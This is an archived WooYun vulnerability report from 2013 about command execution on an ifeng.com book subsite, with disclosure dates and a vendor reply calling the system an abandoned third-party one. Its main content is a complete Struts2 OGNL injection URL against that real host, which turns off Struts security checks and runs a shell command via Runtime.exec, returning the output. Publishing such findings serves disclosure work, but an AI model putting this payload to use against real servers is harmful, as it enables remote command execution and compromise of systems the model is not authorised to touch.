当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-027556

漏洞标题：凤凰网某站命令执行

相关厂商：凤凰网

漏洞作者： iiiiiiiii

提交时间：2013-07-03 11:12

修复时间：2013-07-04 10:53

公开时间：2013-07-04 10:53

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-03： 细节已通知厂商并且等待厂商处理中
2013-07-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

:)

详细说明：

struts2

http://deduct.book.ifeng.com/ReadInterface/recharge/rechargeInput.do?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23s3cur1ty%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23s3cur1ty.println(%23d)%2c%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

漏洞证明：

332.jpg

122.jpg

修复方案：

补丁

版权声明：转载请注明来源 iiiiiiiii@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-07-04 10:53

厂商回复：

已作废的第三方系统。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-03 11:58 | mango ( 核心白帽子 | Rank:1668 漏洞数:245 | 我有个2b女友！)

    目测忽略、